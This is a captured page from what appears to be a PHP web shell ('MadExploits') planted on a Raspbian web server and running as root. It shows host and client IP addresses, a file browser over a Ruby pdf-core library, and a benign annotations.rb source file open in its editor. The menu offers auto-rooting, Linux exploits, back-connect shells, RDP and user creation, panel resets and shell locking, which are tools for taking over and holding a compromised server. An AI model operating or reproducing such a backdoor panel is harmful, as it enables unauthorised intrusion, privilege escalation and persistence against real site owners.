Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
pdf /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
annotations.rb
1.97
KB
-rw-r--r--
byte_string.rb
247
B
-rw-r--r--
destinations.rb
3.02
KB
-rw-r--r--
document_state.rb
2.39
KB
-rw-r--r--
filter_list.rb
874
B
-rw-r--r--
filters.rb
760
B
-rw-r--r--
graphics_state.rb
2.29
KB
-rw-r--r--
literal_string.rb
573
B
-rw-r--r--
name_tree.rb
4.15
KB
-rw-r--r--
object_store.rb
2.22
KB
-rw-r--r--
outline_item.rb
763
B
-rw-r--r--
outline_root.rb
295
B
-rw-r--r--
page.rb
5.67
KB
-rw-r--r--
page_geometry.rb
3.77
KB
-rw-r--r--
pdf_object.rb
3.58
KB
-rw-r--r--
reference.rb
1.83
KB
-rw-r--r--
renderer.rb
7.81
KB
-rw-r--r--
stream.rb
2.07
KB
-rw-r--r--
text.rb
9.92
KB
-rw-r--r--
utils.rb
207
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : annotations.rb
# frozen_string_literal: true # annotations.rb : Implements low-level annotation support for PDF # # Copyright November 2008, Jamis Buck. All Rights Reserved. # # This is free software. Please see the LICENSE and COPYING files for details. # module PDF module Core # Provides very low-level support for annotations. # module Annotations #:nodoc: # Adds a new annotation (section 8.4 in PDF spec) to the current page. # +options+ must be a Hash describing the annotation. # def annotate(options) state.page.dictionary.data[:Annots] ||= [] options = sanitize_annotation_hash(options) state.page.dictionary.data[:Annots] << ref!(options) options end # A convenience method for creating Text annotations. +rect+ must be an # array of four numbers, describing the bounds of the annotation. # +contents+ should be a string, to be shown when the annotation is # activated. # def text_annotation(rect, contents, options = {}) options = options.merge(Subtype: :Text, Rect: rect, Contents: contents) annotate(options) end # A convenience method for creating Link annotations. +rect+ must be an # array of four numbers, describing the bounds of the annotation. The # +options+ hash should include either :Dest (describing the target # destination, usually as a string that has been recorded in the # document's Dests tree), or :A (describing an action to perform on # clicking the link), or :PA (for describing a URL to link to). # def link_annotation(rect, options = {}) options = options.merge(Subtype: :Link, Rect: rect) annotate(options) end private def sanitize_annotation_hash(options) options = options.merge(Type: :Annot) if options[:Dest].is_a?(String) options[:Dest] = PDF::Core::LiteralString.new(options[:Dest]) end options end end end end
Close